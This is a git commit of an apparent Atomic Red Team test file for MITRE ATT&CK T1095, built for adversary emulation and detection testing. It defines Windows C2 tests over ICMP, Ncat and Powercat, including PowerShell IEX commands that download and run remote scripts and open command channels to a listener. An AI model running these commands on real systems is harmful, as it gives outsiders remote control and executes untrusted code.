<commit_before>---
attack_technique: T1095
display_name: Standard Non-Application Layer Protocol

atomic_tests:
- name: ICMP C2
  description: |
    This will attempt to  start C2 Session Using ICMP. For information on how to set up the listener
    refer to the following blog: https://www.blackhillsinfosec.com/how-to-c2-over-icmp/
  supported_platforms:
    - windows
  input_arguments:
    server_ip: 
      description: The IP address of the listening server
      type: ip
      default: 127.0.0.1 
  executor:
    name: powershell
    elevation_required: false
    command: |
      IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubusercontent.com/samratashok/nishang/c75da7f91fcc356f846e09eab0cfd7f296ebf746/Shells/Invoke-PowerShellIcmp.ps1')
      Invoke-PowerShellIcmp -IPAddress #{server_ip}

- name: Netcat C2
  description: |
    Start C2 Session Using Ncat
    To start the listener on a Linux device, type the following: 
    nc -l -p <port>
  supported_platforms:
    - windows
  dependency_executor_name: PowerShell
  dependencies:
    - description: |
        ncat.exe must be available at specified location (#{ncat_exe})
      prereq_command: |
        if( Test-Path "#{ncat_exe}") {exit 0} else {exit 1}
      get_prereq_command: |
        $parentpath = Split-Path (Split-Path "#{ncat_exe}"); $zippath = "$parentpath\nmap.zip"
        Invoke-WebRequest  "https://nmap.org/dist/nmap-7.80-win32.zip" -OutFile "$zippath"
        Expand-Archive $zippath $parentpath -Force
        $unzipPath = Join-Path $parentPath "nmap-7.80"
        if( $null -eq (Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | ?{$_.DisplayName -like "Microsoft Visual C++*"}) ) {
          Start-Process (Join-Path $unzipPath "vcredist_x86.exe")
        }
  input_arguments:
    server_ip: 
      description: The IP address or domain name of the listening server
      type: string
      default: 127.0.0.1
    server_port:
      description: The port for the C2 connection
      type: integer
      default: 80
    ncat_exe:
      description: The location of ncat.exe
      type: path
      default: "$env:TEMP\\T1095\\nmap-7.80\\ncat.exe"
  executor:
    name: powershell
    elevation_required: false
    command: |
      cmd /c #{ncat_exe} #{server_ip} #{server_port}

- name: Powercat C2
  description: |
    Start C2 Session Using Powercat
    To start the listener on a Linux device, type the following: 
    nc -l -p <port>
  supported_platforms:
    - windows
  input_arguments:
    server_ip: 
      description: The IP address or domain name of the listening server
      type: ip
      default: 127.0.0.1
    server_port:
      description: The port for the C2 connection
      type: port number
      default: 80
  executor:
    name: powershell
    elevation_required: false
    command: |
      IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/ff755efeb2abc3f02fa0640cd01b87c4a59d6bb5/powercat.ps1')
      powercat -c #{server_ip} -p #{server_port}
<commit_msg>T1095-2_Update (#863)<commit_after>---
attack_technique: T1095
display_name: Standard Non-Application Layer Protocol

atomic_tests:
- name: ICMP C2
  description: |
    This will attempt to  start C2 Session Using ICMP. For information on how to set up the listener
    refer to the following blog: https://www.blackhillsinfosec.com/how-to-c2-over-icmp/
  supported_platforms:
    - windows
  input_arguments:
    server_ip: 
      description: The IP address of the listening server
      type: ip
      default: 127.0.0.1 
  executor:
    name: powershell
    elevation_required: false
    command: |
      IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubusercontent.com/samratashok/nishang/c75da7f91fcc356f846e09eab0cfd7f296ebf746/Shells/Invoke-PowerShellIcmp.ps1')
      Invoke-PowerShellIcmp -IPAddress #{server_ip}

- name: Netcat C2
  description: |
    Start C2 Session Using Ncat
    To start the listener on a Linux device, type the following: 
    nc -l -p <port>
  supported_platforms:
    - windows
  
  input_arguments:
    server_ip: 
      description: The IP address or domain name of the listening server
      type: string
      default: 127.0.0.1
    server_port:
      description: The port for the C2 connection
      type: integer
      default: 80
    ncat_exe:
      description: The location of ncat.exe
      type: path
      default: "$env:TEMP\\T1095\\nmap-7.80\\ncat.exe"
    ncat_path:
      description: The folder path of ncat.exe
      type: path
      default: "$env:TEMP\\T1095"

  dependency_executor_name: powerShell
  dependencies:
    - description: |
        ncat.exe must be available at specified location (#{ncat_exe})
      prereq_command: |
        if( Test-Path "#{ncat_exe}") {exit 0} else {exit 1}
      get_prereq_command: |
        New-Item -ItemType Directory -Force -Path #{ncat_path} | Out-Null
        $parentpath = Split-Path (Split-Path "#{ncat_exe}"); $zippath = "$parentpath\nmap.zip"
        Invoke-WebRequest  "https://nmap.org/dist/nmap-7.80-win32.zip" -OutFile "$zippath"
          Expand-Archive $zippath $parentpath -Force
          $unzipPath = Join-Path $parentPath "nmap-7.80"
        if( $null -eq (Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | ?{$_.DisplayName -like "Microsoft Visual C++*"}) ) {
          Start-Process (Join-Path $unzipPath "vcredist_x86.exe")
        }

  executor:
    name: powershell
    elevation_required: false
    command: |
      cmd /c #{ncat_exe} #{server_ip} #{server_port}

- name: Powercat C2
  description: |
    Start C2 Session Using Powercat
    To start the listener on a Linux device, type the following: 
    nc -l -p <port>
  supported_platforms:
    - windows
  input_arguments:
    server_ip: 
      description: The IP address or domain name of the listening server
      type: ip
      default: 127.0.0.1
    server_port:
      description: The port for the C2 connection
      type: port number
      default: 80
  executor:
    name: powershell
    elevation_required: false
    command: |
      IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/ff755efeb2abc3f02fa0640cd01b87c4a59d6bb5/powercat.ps1')
      powercat -c #{server_ip} -p #{server_port}

{'fraction_non_alphanumeric': 0.09648020113136392, 'fraction_numerical': 0.03236957888120679, 'mean_word_length': 2.9460632362058274, 'pattern_counts': {'":': 0, '<': 7, '<?xml version=': 0, '>': 7, 'https://': 8, 'lorem ipsum': 0, 'www.': 2, 'xml': 0}, 'pii_count': 6, 'substrings_counts': 0, 'word_list_counts': {'cursed_substrings.json': 4, 'profanity_word_list.json': 0, 'sexual_word_list.json': 0, 'zh_pornsignals.json': 0}}
{'dir': 'git-commits-cleaned', 'id': '2725139', 'n_tokens_mistral': 2201, 'n_tokens_neox': 2059, 'n_words': 549}